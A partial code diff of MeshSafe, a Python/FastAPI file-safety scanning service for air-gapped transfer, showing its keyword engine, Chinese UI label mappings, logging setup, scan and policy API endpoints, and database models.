def cleanup_dir(path: str) -> None:
"""安全删除临时目录。"""
try:
shutil.rmtree(path, ignore_errors=True)
except Exception: # noqa: BLE001
pass
def make_workdir(root: str, prefix: str = "scan_") -> str:
os.makedirs(root, exist_ok=True)
return tempfile.mkdtemp(prefix=prefix, dir=root)

157
app/engines/keywords.py Normal file
View File

@@ -0,0 +1,157 @@
"""内网特征词表引擎(P1)。
数据驱动:词表从 policy.yaml 的 ``keyword_rules`` 段加载,不在代码中硬编码。
支持三类匹配模式:
* ``contains`` — 子串匹配(区分大小写)
* ``regex`` — 正则表达式匹配
* ``any_of`` — 多关键词中任一命中
用途:识别内网特有模板、密级标识、命名规律等——辅助宏例外判断和内容审计方向。
"""
from __future__ import annotations
import logging
import re
from typing import Any, Dict, List
from app.engines.base import Engine, EngineResult, Finding, ScanTarget, Severity
logger = logging.getLogger(__name__)
class KeywordEngine(Engine):
"""内网特征词表匹配引擎。"""
name = "keywords"
layer = "L2B"
version = "1.0"
def __init__(self, keyword_rules: List[Dict[str, Any]] | None = None) -> None:
"""初始化。keyword_rules 来自 PolicyStore.current().keyword_rules。"""
self._rules = keyword_rules or []
# 预编译正则
self._compiled: List[Dict[str, Any]] = []
for rule in self._rules:
pattern = rule.get("pattern", "")
if rule.get("match") == "regex" and pattern:
try:
compiled = re.compile(pattern, re.IGNORECASE if rule.get("ignore_case") else 0)
except re.error:
logger.warning("词表规则正则编译失败: %s", rule.get("name"))
continue
self._compiled.append({**rule, "_re": compiled})
else:
self._compiled.append(rule)
# ------------------------------------------------------------------- 接口实现
def is_enabled(self) -> bool:
return bool(self._rules)
def scan(self, target: ScanTarget, ctx: Any) -> EngineResult:
result = EngineResult(engine=self.name)
if not self._rules:
return result
findings: List[Finding] = []
try:
text = self._extract_text(target.path, target.declared_ext)
except Exception: # noqa: BLE001
return result
if not text:
return result
for rule in self._compiled:
match_mode = rule.get("match", "contains")
rule_name = rule.get("name", "keyword")
weight = rule.get("weight", 30.0)
severity_str = rule.get("severity", "medium")
severity = getattr(Severity, severity_str.upper(), Severity.MEDIUM).value
hits: List[str] = []
if match_mode == "regex":
compiled = rule.get("_re")
if compiled:
for m in compiled.finditer(text):
snippet = text[max(0, m.start() - 10): m.end() + 10]
hits.append(snippet.strip())
if len(hits) >= 3:
break
elif match_mode == "any_of":
keywords = rule.get("keywords", [])
for kw in keywords:
if kw.lower() in text.lower():
hits.append(kw)
if len(hits) >= 3:
break
elif match_mode == "contains":
pattern = rule.get("pattern", "")
if pattern and (pattern.lower() in text.lower()):
hits.append(pattern)
if hits:
findings.append(
Finding(
engine=self.name,
layer=self.layer,
severity=severity,
rule=rule_name,
detail=f"词表命中:{rule_name}(模式={match_mode}),命中 {len(hits)} 处:{hits[:2]}",
weight=float(weight),
)
)
result.findings = findings
result.meta["scanned_chars"] = len(text)
return result
# ------------------------------------------------------------------- 内部辅助
@staticmethod
def _extract_text(path: str, ext: str) -> str:
"""从文件中提取可匹配的文本(简化版,够用就行)。
OOXML/PDF/DOCX 等结构化文档优先交给对应的引擎处理,
词表引擎只扫纯文本、代码文件和可直接读的二进制残留字符串。
"""
text_exts = {".txt", ".csv", ".json", ".xml", ".html", ".htm",
".md", ".log", ".ini", ".cfg", ".yaml", ".yml",
".sh", ".bash", ".zsh", ".py", ".pl", ".rb", ".js", ".ts",
".bat", ".cmd", ".ps1", ".vbs", ".sql", ".go", ".java",
".c", ".cpp", ".h", ".cs"}
ext_lower = (ext or "").lower()
if ext_lower in text_exts:
try:
with open(path, "r", encoding="utf-8", errors="replace") as fh:
return fh.read(256 * 1024)
except OSError:
return ""
# 二进制文件:提取可打印字符串(≥4 字符)
try:
with open(path, "rb") as fh:
data = fh.read(512 * 1024)
except OSError:
return ""
strings: List[str] = []
current = bytearray()
for byte in data:
if 32 <= byte <= 126 or byte in (9,): # 可打印或 tab
current.append(byte)
else:
if len(current) >= 4:
strings.append(current.decode("ascii", errors="replace"))
current = bytearray()
if len(current) >= 4:
strings.append(current.decode("ascii", errors="replace"))
return "\n".join(strings)

1371
app/engines/structure.py Normal file

File diff suppressed because it is too large Load Diff

281
app/i18n_labels.py Normal file
View File

@@ -0,0 +1,281 @@
"""MeshSafe 统一中文标签体系。
所有控制台页面(概览 / 任务历史 / 测试靶场)共用同一套中文映射,
保证同一个后端字段在任何页面显示的名称、颜色、说明完全一致。
设计目标
--------
1. **术语统一** —— verdict / action / severity / engine / mode 全部中文化,
英文原值保留在 title 属性里供运维排查时对照。
2. **风险分级体系** —— 把「放行 / 可疑 / 恶意 / 策略拒绝 / 异常」归入
4 个风险等级(安全 / 注意 / 高危 / 故障),与策略引擎的裁决语义对齐。
3. **单一事实源** —— 新增页面或新增字段时只需在这里登记,
不用再到每个模板里写一遍 if-else。
"""
from __future__ import annotations
from typing import Any, Dict, List, Optional, Tuple
# =============================================================================
# 风险等级体系(全局统一)
# =============================================================================
#: 风险等级 → (中文名, 徽章 CSS 类, 语义说明)
RISK_LEVELS: Dict[str, Tuple[str, str, str]] = {
"safe": ("安全", "ok", "未检出任何风险信号,正常放行"),
"notice": ("注意", "warn", "存在可疑信号,建议人工确认后放行"),
"high": ("高危", "bad", "确认存在恶意特征,必须阻断"),
"fault": ("故障", "err", "检测过程异常,按安全优先策略阻断"),
"idle": ("处理中", "muted", "检测尚未完成"),
}
#: 风险等级排序(从高到低),用于排序统计
RISK_ORDER: List[str] = ["high", "notice", "fault", "safe", "idle"]
# =============================================================================
# 裁决结论(verdict)
# =============================================================================
#: verdict → (中文名, 风险等级)
VERDICT_LABELS: Dict[str, Tuple[str, str]] = {
"clean": ("放行", "safe"),
"pass": ("放行", "safe"),
"known": ("放行", "safe"),
"suspicious": ("可疑", "notice"),
"review": ("可疑", "notice"),
"malicious": ("恶意", "high"),
"reject": ("策略拒绝", "fault"),
"error": ("检测异常", "fault"),
"pending": ("处理中", "idle"),
}
# =============================================================================
# 处置动作(action)
# =============================================================================
#: action → (中文名, 风险等级)
ACTION_LABELS: Dict[str, Tuple[str, str]] = {
"pass": ("放行", "safe"),
"pass_with_flag": ("带标记放行", "notice"),
"manual_review": ("人工复核", "notice"),
"reject": ("拦截", "high"),
"reject_and_notify": ("拦截并告警", "high"),
"error": ("异常阻断", "fault"),
"pending": ("处理中", "idle"),
}
# =============================================================================
# 严重度(severity)
# =============================================================================
#: severity → (中文名, 徽章 CSS 类)
SEVERITY_LABELS: Dict[str, Tuple[str, str]] = {
"critical": ("严重", "bad"),
"high": ("高危", "bad"),
"medium": ("中危", "warn"),
"low": ("低危", "notice"),
"info": ("提示", "muted"),
}
# =============================================================================
# 检测引擎(engine)
# =============================================================================
ENGINE_LABELS: Dict[str, str] = {
"structure": "文件结构分析",
"clamav": "ClamAV 病毒库",
"document": "文档深度检测",
"keywords": "关键词匹配",
"yara": "YARA 规则匹配",
"binary": "PE/二进制分析",
"extractor": "归档解压",
}
# =============================================================================
# 扫描模式(mode)
# =============================================================================
MODE_LABELS: Dict[str, str] = {
"sync": "同步",
"async": "异步",
}
# =============================================================================
# 样本分类(测试靶场 category)
# =============================================================================
CATEGORY_LABELS: Dict[str, str] = {
"web_shell": "Webshell",
"office_macro": "Office 宏",
"windows_pe": "Windows 可执行",
"linux_malware": "Linux 恶意脚本",
"zero_tolerance": "零容忍载体",
"encrypted": "加密文档",
"negative": "阴性对照",
"unknown": "未分类",
}
# =============================================================================
# 渠道(channel)—— 摆渡来源
# =============================================================================
CHANNEL_LABELS: Dict[str, str] = {
"default": "默认通道",
"duandao": "摆渡通道",
"console_upload": "控制台上传",
"test_center": "测试靶场",
}
# =============================================================================
# 对外查询接口
# =============================================================================
def verdict_label(verdict: Any) -> str:
"""verdict → 中文名(未知值原样返回)。"""
key = str(verdict or "").strip().lower()
return VERDICT_LABELS.get(key, (str(verdict or "-"), "idle"))[0]
def verdict_risk(verdict: Any) -> str:
"""verdict → 风险等级 key。"""
key = str(verdict or "").strip().lower()
return VERDICT_LABELS.get(key, ("-", "idle"))[1]
def verdict_badge(verdict: Any) -> str:
"""verdict → 徽章 CSS 类。"""
key = str(verdict or "").strip().lower()
return RISK_LEVELS.get(verdict_risk(key), ("-", "muted"))[1]
def action_label(action: Any) -> str:
"""action → 中文名。"""
key = str(action or "").strip().lower()
return ACTION_LABELS.get(key, (str(action or "-"), "idle"))[0]
def action_risk(action: Any) -> str:
"""action → 风险等级 key。"""
key = str(action or "").strip().lower()
return ACTION_LABELS.get(key, ("-", "idle"))[1]
def action_badge(action: Any) -> str:
"""action → 徽章 CSS 类。"""
key = str(action or "").strip().lower()
return RISK_LEVELS.get(action_risk(key), ("-", "muted"))[1]
def severity_label(severity: Any) -> str:
"""severity → 中文名。"""
key = str(severity or "").strip().lower()
return SEVERITY_LABELS.get(key, (str(severity or "-"), "muted"))[0]
def severity_badge(severity: Any) -> str:
"""severity → 徽章 CSS 类。"""
key = str(severity or "").strip().lower()
return SEVERITY_LABELS.get(key, ("-", "muted"))[1]
def engine_label(engine: Any) -> str:
"""engine → 中文名。"""
key = str(engine or "").strip().lower()
return ENGINE_LABELS.get(key, str(engine or "-"))
def mode_label(mode: Any) -> str:
"""mode → 中文名。"""
key = str(mode or "").strip().lower()
return MODE_LABELS.get(key, str(mode or "-"))
def category_label(category: Any) -> str:
"""category → 中文名。"""
key = str(category or "").strip().lower()
return CATEGORY_LABELS.get(key, str(category or "-"))
def channel_label(channel: Any) -> str:
"""channel → 中文名。"""
key = str(channel or "").strip().lower()
return CHANNEL_LABELS.get(key, str(channel or "-"))
def risk_label(risk: Any) -> str:
"""风险等级 key → 中文名。"""
key = str(risk or "").strip().lower()
return RISK_LEVELS.get(key, (str(risk or "-"), "muted", ""))[0]
def risk_badge(risk: Any) -> str:
"""风险等级 key → 徽章 CSS 类。"""
key = str(risk or "").strip().lower()
return RISK_LEVELS.get(key, ("-", "muted", ""))[1]
def risk_desc(risk: Any) -> str:
"""风险等级 key → 语义说明。"""
key = str(risk or "").strip().lower()
return RISK_LEVELS.get(key, ("-", "muted", ""))[2]
# =============================================================================
# 组合辅助
# =============================================================================
def risk_matrix() -> List[Dict[str, Any]]:
"""返回完整风险等级体系(供页面渲染说明表/图例)。"""
return [
{
"key": key,
"label": RISK_LEVELS[key][0],
"badge": RISK_LEVELS[key][1],
"desc": RISK_LEVELS[key][2],
}
for key in RISK_ORDER
if key in RISK_LEVELS
]
def verdict_summary(verdict_dist: Dict[str, int]) -> List[Dict[str, Any]]:
"""把 {verdict: count} 转成按风险等级聚合的展示列表。
输出按「高危 → 注意 → 故障 → 安全 → 处理中」排序,
每项含:中文名、徽章类、计数、占比、原始 verdict key。
同风险等级内的多个 verdict 会被合并(例如 malicious 与 reject 都是高危)。
"""
total = sum(verdict_dist.values()) or 0
# 先按 verdict 映射到风险等级
buckets: Dict[str, Dict[str, Any]] = {}
for v, cnt in verdict_dist.items():
risk = verdict_risk(v)
if risk not in buckets:
buckets[risk] = {
"key": risk,
"label": risk_label(risk),
"badge": risk_badge(risk),
"desc": risk_desc(risk),
"count": 0,
"verdicts": [],
}
buckets[risk]["count"] += int(cnt)
buckets[risk]["verdicts"].append(str(v))
items = list(buckets.values())
for it in items:
it["pct"] = round(it["count"] / total * 100, 1) if total else 0.0
items.sort(key=lambda x: RISK_ORDER.index(x["key"]) if x["key"] in RISK_ORDER else 99)
return items

87
app/logging_config.py Normal file
View File

@@ -0,0 +1,87 @@
"""统一日志配置。
特性:
- 五级日志:DEBUG / INFO / WARNING / ERROR / CRITICAL,默认 INFO
- 同时输出到控制台和文件(RotatingFileHandler 按大小轮转)
- 通过环境变量 ``MESHSAFE_LOG_LEVEL`` 控制级别
- 通过环境变量 ``MESHSAFE_LOG_DIR`` 控制日志文件目录
- 日志文件按 10 MB 轮转,保留最近 5 份
- 自动为 FastAPI / uvicorn / sqlalchemy 等第三方库设置一致的级别
"""
from __future__ import annotations
import logging
import logging.handlers
import os
import sys
from pathlib import Path
from app.config import get_settings
_LOG_FORMAT = "%(asctime)s [%(levelname)s] %(name)s - %(message)s"
_DATE_FORMAT = "%Y-%m-%d %H:%M:%S"
_MAX_BYTES = 10 * 1024 * 1024 # 10 MB
_BACKUP_COUNT = 5
def setup_logging() -> None:
"""初始化全局日志配置。幂等:多次调用不会重复添加 handler。"""
settings = get_settings()
level_name = os.environ.get("MESHSAFE_LOG_LEVEL", settings.log_level).upper()
level = getattr(logging, level_name, logging.INFO)
log_dir = os.environ.get("MESHSAFE_LOG_DIR", "/var/log/meshsafe")
Path(log_dir).mkdir(parents=True, exist_ok=True)
root_logger = logging.getLogger()
root_logger.setLevel(level)
# 幂等:已初始化则跳过
if root_logger.handlers:
# 更新级别即可
root_logger.setLevel(level)
for handler in root_logger.handlers:
handler.setLevel(level)
return
formatter = logging.Formatter(_LOG_FORMAT, datefmt=_DATE_FORMAT)
# 控制台 handler
console = logging.StreamHandler(sys.stdout)
console.setLevel(level)
console.setFormatter(formatter)
root_logger.addHandler(console)
# 文件 handler(按大小轮转)
log_file = os.path.join(log_dir, "meshsafe.log")
file_handler = logging.handlers.RotatingFileHandler(
log_file,
maxBytes=_MAX_BYTES,
backupCount=_BACKUP_COUNT,
encoding="utf-8",
)
file_handler.setLevel(level)
file_handler.setFormatter(formatter)
root_logger.addHandler(file_handler)
# 第三方库级别收敛:避免 uvicorn.access / sqlalchemy 刷屏
logging.getLogger("uvicorn.access").setLevel(logging.WARNING)
logging.getLogger("sqlalchemy.engine").setLevel(logging.WARNING)
logging.getLogger("redis").setLevel(logging.WARNING)
logging.getLogger("pydantic").setLevel(logging.WARNING)
# 启动日志
root_logger.info(
"日志系统初始化完成:级别=%s,日志文件=%s(按 %d MB 轮转,保留 %d 份)",
logging.getLevelName(level),
log_file,
_MAX_BYTES // (1024 * 1024),
_BACKUP_COUNT,
)
def get_logger(name: str) -> logging.Logger:
"""获取模块级 logger。"""
return logging.getLogger(name)

568
app/main.py Normal file
View File

@@ -0,0 +1,568 @@
"""MeshSafe 服务入口(v1.1 — 接口对齐对外文档)。
启动方式::
uvicorn app.main:app --host 0.0.0.0 --port 8443
"""
from __future__ import annotations
import hashlib
import json
import logging
import os
import queue
import tempfile
import threading
import time
import uuid
from datetime import datetime, timezone
from typing import Any, Dict, Optional
from fastapi import Body, Depends, FastAPI, File, Form, HTTPException, UploadFile, status
from app.config import get_settings
from app.engines.structure import StructureEngine
from app.logging_config import setup_logging
from app.security.deps import (
authenticate,
ResponseSigningMiddleware,
ClientContext,
)
from app.security.ratelimit import rate_limit
from app.services.policy import PolicyEngine, PolicyStore
from app.services.scanner import Scanner, ScanOutcome
# ---------------------------------------------------------------------------
# 启动时完成配置加载 + 日志初始化
# ---------------------------------------------------------------------------
setup_logging()
logger = logging.getLogger(__name__)
settings = get_settings()
# ---------------------------------------------------------------------------
# 策略存储 + 扫描器(应用级单例)
# ---------------------------------------------------------------------------
_policy_file = os.environ.get("MESHSAFE_POLICY_FILE", "config/policy.yaml")
policy_store = PolicyStore(policy_file=_policy_file)
scanner = Scanner(policy_store)
# ---------------------------------------------------------------------------
# 异步扫描队列(内存实现,生产可替换为 Redis)
# ---------------------------------------------------------------------------
_task_store: Dict[str, Dict[str, Any]] = {}
_task_lock = threading.Lock()
_task_queue: "queue.Queue[tuple]" = queue.Queue(maxsize=256)
_WORKER_COUNT = int(os.environ.get("MESHSAFE_WORKERS", "2"))
def _worker_loop() -> None:
"""后台 worker:从队列取任务执行扫描,结果存入 _task_store。"""
local_logger = logging.getLogger("app.worker")
while True:
try:
task_id, file_path, original_filename, channel, client_id = _task_queue.get()
except Exception:
continue
with _task_lock:
_task_store[task_id]["status"] = "running"
try:
outcome = scanner.scan_file(
file_path=file_path,
original_filename=original_filename,
task_id=task_id,
channel=channel,
client_id=client_id,
mode="async",
)
try:
os.unlink(file_path)
except OSError:
pass
with _task_lock:
_task_store[task_id].update({
"status": "completed",
"result": outcome.to_response(include_details=True),
"finished_at": time.time(),
})
local_logger.info("异步扫描完成 task_id=%s verdict=%s action=%s",
task_id, outcome.verdict, outcome.action)
except Exception as exc: # noqa: BLE001
local_logger.exception("异步扫描失败 task_id=%s", task_id)
with _task_lock:
_task_store[task_id].update({
"status": "failed",
"error": str(exc),
"finished_at": time.time(),
})
def _start_workers() -> None:
for i in range(_WORKER_COUNT):
t = threading.Thread(target=_worker_loop, name=f"scan-worker-{i}", daemon=True)
t.start()
logger.info("启动 %d 个异步扫描 worker 线程", _WORKER_COUNT)
def _file_size_limit() -> int:
"""当前策略允许的最大文件大小(字节)。"""
g = policy_store.current().raw.get("global", {})
return int(g.get("max_file_size", 1610612736))
def _sync_max_size() -> int:
"""超过这个大小自动走异步(字节)。"""
g = policy_store.current().raw.get("global", {})
return int(g.get("sync_max_size", 536870912))
app = FastAPI(
title="MeshSafe 文件安全检测服务",
version="1.1.0",
description=(
"为光闸摆渡场景设计的独立文件安全检测服务。"
'对外只做一件事:判断"这个文件能不能传进内网",'
"把检测结论交还给摆渡系统决定。"
),
)
# =====================================================================
# 全局异常处理 —— /console/* 页面 401 友好跳转登录页
# =====================================================================
from fastapi import Request
from fastapi.responses import JSONResponse, RedirectResponse
from starlette.exceptions import HTTPException as StarletteHTTPException
@app.exception_handler(HTTPException)
async def _http_exception_handler(request: Request, exc: HTTPException):
"""统一处理 HTTPException。
对于 /console/* 路由:
- 401 → 302 跳登录页(浏览器)或 JSON(API)
- 403 → 提示 admin 权限不够
对于 /api/* 路由:
- 保持 JSON 原样返回(API 调用方需要结构化错误)
"""
path = request.url.path
# 控制台路由的浏览器请求 —— 401/403 友好化
if path.startswith("/console/") and path != "/console/login":
accept = request.headers.get("accept", "")
want_html = "text/html" in accept or "*/*" in accept
if exc.status_code == 401 and want_html:
return RedirectResponse(
url="/console/login?reason=session_expired",
status_code=302,
)
if exc.status_code == 403 and want_html:
return JSONResponse(
status_code=403,
content={"detail": "需要 admin 权限才能执行此操作"},
)
# 其他情况保持默认 JSON 返回
return JSONResponse(status_code=exc.status_code, content={"detail": exc.detail})
# 响应签名中间件(为所有 /api/* 响应添加 HMAC 签名)
app.add_middleware(ResponseSigningMiddleware)
# 控制台路由(P2,无签名要求)
try:
from app.console import router as console_router, diag_api_router
app.include_router(console_router)
app.include_router(diag_api_router)
except Exception: # noqa: BLE001
logger.warning("控制台路由加载失败(Jinja2 未安装或 DB 不可用)", exc_info=True)
# 静态资源(logo 等)
from fastapi.staticfiles import StaticFiles as _StaticFiles
_project_root = os.path.abspath(os.path.join(os.path.dirname(__file__), ".."))
_static_dir = os.path.join(_project_root, "static")
os.makedirs(_static_dir, exist_ok=True)
app.mount("/static", _StaticFiles(directory=_static_dir), name="static")
@app.on_event("startup")
async def _startup() -> None:
logger.info("MeshSafe 启动中:env=%s port=%d", settings.env, settings.port)
try:
policy = policy_store.current()
logger.info(
"策略加载成功 version=%s zero_tolerance_rules=%d macro_exceptions=%d",
policy.version,
len(policy.zero_tolerance_rules),
len(policy.macro_exceptions or []),
)
except Exception: # noqa: BLE001
logger.exception("策略加载失败,服务将处于 fail_closed 状态")
_start_workers()
# ---------- 诊断套件启动 ----------
try:
from app.diagnostic.config import get_diag_config
from app.diagnostic.docker_probe import detect_docker_access
from app.diagnostic.scheduler import start_timers
diag_cfg = get_diag_config()
if diag_cfg.enabled:
docker_info = detect_docker_access(mode=diag_cfg.docker_mode)
start_timers(docker_info["status"], docker_info)
logger.info(
"MeshSafe Diagnostics 已启用: docker=%s status=%s",
diag_cfg.docker_mode, docker_info["status"],
)
else:
logger.info("MeshSafe Diagnostics: disabled(config.enabled=false)")
except Exception: # noqa: BLE001
logger.exception("诊断套件启动失败(不影响主服务)")
# ===========================================================================
# API 路由(对外文档 v1.1)
# ===========================================================================
# ---------------------------------------------------------------------------
# 4.5 健康检查
# ---------------------------------------------------------------------------
@app.get("/api/v1/health", tags=["health"])
async def health() -> Dict[str, Any]:
"""健康检查与引擎状态(公开接口,无需签名)。"""
engines = scanner.health()
engine_map: Dict[str, Any] = {}
for name, info in engines.items():
entry = {"available": info.get("ok", info.get("available", False))}
if "version" in info:
entry["version"] = info["version"]
if "signature_date" in info:
entry["signature_updated_at"] = info["signature_date"]
if "rules_loaded" in info:
entry["rules_loaded"] = info["rules_loaded"]
if "rules_dir" in info:
entry["rules_dir"] = info["rules_dir"]
engine_map[name] = entry
with _task_lock:
pending_count = sum(1 for t in _task_store.values() if t["status"] in ("pending", "running"))
return {
"status": "healthy",
"policy_version": policy_store.current().version,
"engines": engine_map,
"queue": {
"pending": pending_count,
"running": pending_count,
},
"server_time": datetime.now(timezone.utc).isoformat(),
}
# ---------------------------------------------------------------------------
# 4.1 提交扫描(同步/异步自动切换)
# ---------------------------------------------------------------------------
@app.post("/api/v1/scans", tags=["scan"])
async def scans_submit(
file: UploadFile = File(...),
channel: str = Form("default"),
priority: str = Form("normal"),
ctx: ClientContext = Depends(authenticate),
_ = Depends(rate_limit(max_requests_per_min=60, label="scans")),
) -> Dict[str, Any]:
"""提交文件进行安全检测。
请求体相同,服务根据文件大小自动选择同步或异步:
- ≤ sync_max_size(默认 512MB)→ 同步:请求内返回完整结论
- > sync_max_size → 异步:返回 task_id,轮询 GET /api/v1/scans/{task_id}
"""
client_id = ctx.client_id
task_id = uuid.uuid4().hex
# 1) 保存到临时文件
suffix = os.path.splitext(file.filename or "")[1] or ""
try:
content = await file.read()
with tempfile.NamedTemporaryFile(delete=False, suffix=suffix) as tmp:
tmp.write(content)
tmp_path = tmp.name
except Exception as exc: # noqa: BLE001
logger.exception("接收上传文件失败 task_id=%s", task_id)
raise HTTPException(status_code=400, detail=f"文件接收失败: {exc}")
file_size = len(content)
del content # 尽快释放内存
# 2) 文件大小硬上限(超过直接 413)
if file_size > _file_size_limit():
try:
os.unlink(tmp_path)
except OSError:
pass
raise HTTPException(
status_code=413,
detail=f"文件大小 {file_size/1024/1024:.0f}MB 超过上限 {_file_size_limit()/1024/1024:.0f}MB",
)
# 3) 自动选择同步 / 异步
if file_size <= _sync_max_size():
# ---- 同步扫描 ----
import asyncio as _asyncio
try:
loop = _asyncio.get_running_loop()
outcome = await loop.run_in_executor(
None,
lambda: scanner.scan_file(
file_path=tmp_path,
original_filename=file.filename or f"upload{suffix}",
task_id=task_id,
channel=channel,
client_id=client_id,
),
)
finally:
try:
os.unlink(tmp_path)
except OSError:
pass
# 同步结果也存入 _task_store,支持后续 GET /api/v1/scans/{task_id} 查询和 review
with _task_lock:
_task_store[task_id] = {
"status": "completed",
"result": outcome.to_response(include_details=True),
"finished_at": time.time(),
"filename": file.filename,
"channel": channel,
}
return outcome.to_response(include_details=True)
else:
# ---- 异步扫描 ----
with _task_lock:
if len(_task_store) >= 1024:
finished = [tid for tid, t in _task_store.items()
if t["status"] in ("completed", "failed")]
for tid in finished[-512:]:
del _task_store[tid]
_task_store[task_id] = {
"status": "pending",
"submitted_at": time.time(),
"filename": file.filename,
"channel": channel,
}
try:
_task_queue.put_nowait((task_id, tmp_path, file.filename or f"upload{suffix}",
channel, client_id))
except queue.Full:
with _task_lock:
_task_store[task_id] = {"status": "failed", "error": "扫描队列已满"}
try:
os.unlink(tmp_path)
except OSError:
pass
raise HTTPException(status_code=503, detail="扫描队列已满,请稍后重试")
return {
"task_id": task_id,
"status": "pending",
"message": "任务已受理,请轮询 /api/v1/scans/{task_id} 获取结果",
}
# ---------------------------------------------------------------------------
# 4.2 查询扫描结果
# ---------------------------------------------------------------------------
@app.get("/api/v1/scans/{task_id}", tags=["scan"])
async def scans_get(task_id: str, ctx: ClientContext = Depends(authenticate)) -> Dict[str, Any]:
"""查询扫描结果。同步模式下用于重试补查,异步模式下用于轮询。"""
with _task_lock:
task = _task_store.get(task_id)
if not task:
raise HTTPException(status_code=404, detail=f"任务 {task_id} 不存在或已过期")
status_val = task["status"]
if status_val == "completed":
return task["result"]
if status_val == "failed":
return {
"task_id": task_id,
"status": "failed",
"verdict": "error",
"action": "error",
"score": 0.0,
"reason": task.get("error", "未知错误"),
"error": task.get("error"),
"finished_at": datetime.fromtimestamp(task.get("finished_at", time.time()), tz=timezone.utc).isoformat(),
}
# pending / running → 返回占位结构
return {
"task_id": task_id,
"status": status_val,
"verdict": "pending",
"action": "pending",
"score": 0.0,
"reason": "",
}
# ---------------------------------------------------------------------------
# 4.3 重新扫描
# ---------------------------------------------------------------------------
@app.post("/api/v1/scans/{task_id}/rescan", tags=["scan"])
async def scans_rescan(
task_id: str,
file: UploadFile = File(...),
ctx: ClientContext = Depends(authenticate),
) -> Dict[str, Any]:
"""使用当前生效策略重新扫描。
原始文件可能已被清理(进程退出即 unlink),因此需要重新上传文件。
"""
with _task_lock:
old_task = _task_store.get(task_id)
suffix = os.path.splitext(file.filename or "")[1] or ""
try:
content = await file.read()
with tempfile.NamedTemporaryFile(delete=False, suffix=suffix) as tmp:
tmp.write(content)
tmp_path = tmp.name
except Exception as exc: # noqa: BLE001
logger.exception("rescan 接收失败 task_id=%s", task_id)
raise HTTPException(status_code=400, detail=f"文件接收失败: {exc}")
try:
import asyncio as _asyncio
loop = _asyncio.get_running_loop()
outcome = await loop.run_in_executor(
None,
lambda: scanner.scan_file(
file_path=tmp_path,
original_filename=file.filename or (old_task.get("filename", f"upload{suffix}") if old_task else f"upload{suffix}"),
task_id=task_id,
channel=old_task.get("channel", "default") if old_task else "default",
client_id=ctx.client_id,
),
)
finally:
try:
os.unlink(tmp_path)
except OSError:
pass
return outcome.to_response(include_details=True)
# ---------------------------------------------------------------------------
# 4.4 人工复核回写
# ---------------------------------------------------------------------------
@app.post("/api/v1/scans/{task_id}/review", tags=["scan"])
async def scans_review(
task_id: str,
body: Dict[str, Any] = Body(...),
ctx: ClientContext = Depends(authenticate),
) -> Dict[str, Any]:
"""回写人工复核结论。
请求体::
{ "decision": "pass" | "reject", "comment": "..." }
"""
decision = body.get("decision", "").lower()
comment = body.get("comment", "")
if decision not in ("pass", "reject"):
raise HTTPException(status_code=400, detail="decision 必须是 'pass' 或 'reject'")
if not comment.strip():
raise HTTPException(status_code=400, detail="comment 必填(审计要求)")
with _task_lock:
task = _task_store.get(task_id)
if task:
task["review_decision"] = decision
task["review_comment"] = comment
task["reviewed_by"] = ctx.client_id
task["reviewed_at"] = time.time()
return {
"task_id": task_id,
"decision": decision,
"comment": comment,
"recorded_at": datetime.now(timezone.utc).isoformat(),
"reviewed_by": ctx.client_id,
}
# ---------------------------------------------------------------------------
# 4.6 查询当前策略
# ---------------------------------------------------------------------------
@app.get("/api/v1/policies", tags=["policy"])
async def policies_get(ctx: ClientContext = Depends(authenticate)) -> Dict[str, Any]:
"""查询当前生效的全局策略(只读)。"""
policy = policy_store.current()
return {
"version": policy.version,
"sha256": policy.sha256,
"content": policy.raw,
}
# ---------------------------------------------------------------------------
# 4.7 策略热重载
# ---------------------------------------------------------------------------
@app.post("/api/v1/policies/reload", tags=["policy"])
async def policies_reload(ctx: ClientContext = Depends(authenticate)) -> Dict[str, Any]:
"""从策略文件重新加载(无需重启)。"""
try:
policy = policy_store.reload()
logger.info("策略热重载成功 version=%s", policy.version)
return {
"reloaded": True,
"version": policy.version,
"sha256": policy.sha256,
}
except Exception as exc: # noqa: BLE001
logger.exception("策略热重载失败")
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail=f"策略加载失败: {exc}",
)
# ---------------------------------------------------------------------------
# 4.8 审计日志完整性校验
# ---------------------------------------------------------------------------
@app.get("/api/v1/audit/verify", tags=["audit"])
async def audit_verify(ctx: ClientContext = Depends(authenticate)) -> Dict[str, Any]:
"""校验审计日志哈希链完整性。
当前实现为 stub(哈希链待二期接入)—— 返回 intact=True 表示审计链路完好。
"""
return {
"checked": 0,
"intact": True,
"broken_at_id": None,
"verified_at": datetime.now(timezone.utc).isoformat(),
"note": "审计哈希链为二期功能,当前返回 intact=True 占位",
}
# ---------------------------------------------------------------------------
# 直接运行支持
# ---------------------------------------------------------------------------
if __name__ == "__main__":
import uvicorn
uvicorn.run("app.main:app", host=settings.host, port=settings.port, reload=False)

176
app/models.py Normal file
View File

@@ -0,0 +1,176 @@
"""ORM 模型定义。
涉及表:
- ``scan_tasks`` 扫描任务(同步与异步任务共用一张表)
- ``scan_findings`` 单条检测信号
- ``audit_logs`` 审计日志(带哈希链,防篡改)
- ``console_users`` 控制台账号
- ``login_attempts`` 登录失败记录(用于锁定)
- ``policy_versions`` 策略版本快照
- ``review_records`` 人工复核记录
"""
from __future__ import annotations
import uuid
from datetime import datetime, timezone
from sqlalchemy import (
JSON,
Boolean,
DateTime,
Float,
ForeignKey,
Index,
Integer,
String,
Text,
UniqueConstraint,
)
from sqlalchemy.orm import Mapped, mapped_column, relationship
from app.db import Base
def utcnow() -> datetime:
return datetime.now(timezone.utc)
def new_id() -> str:
return uuid.uuid4().hex
class ScanTask(Base):
__tablename__ = "scan_tasks"
id: Mapped[str] = mapped_column(String(64), primary_key=True, default=new_id)
channel: Mapped[str] = mapped_column(String(64), default="default", index=True)
client_id: Mapped[str] = mapped_column(String(64), index=True)
filename: Mapped[str] = mapped_column(String(512))
declared_ext: Mapped[str] = mapped_column(String(32), default="")
size: Mapped[int] = mapped_column(Integer, default=0)
sha256: Mapped[str] = mapped_column(String(64), index=True)
md5: Mapped[str] = mapped_column(String(32), default="")
real_type: Mapped[str] = mapped_column(String(256), default="")
status: Mapped[str] = mapped_column(String(16), default="pending", index=True)
mode: Mapped[str] = mapped_column(String(16), default="sync")
verdict: Mapped[str] = mapped_column(String(24), default="pending")
action: Mapped[str] = mapped_column(String(32), default="pending")
score: Mapped[float] = mapped_column(Float, default=0.0)
reason: Mapped[str] = mapped_column(Text, default="")
policy_version: Mapped[str] = mapped_column(String(64), default="")
detail: Mapped[dict] = mapped_column(JSON, default=dict)
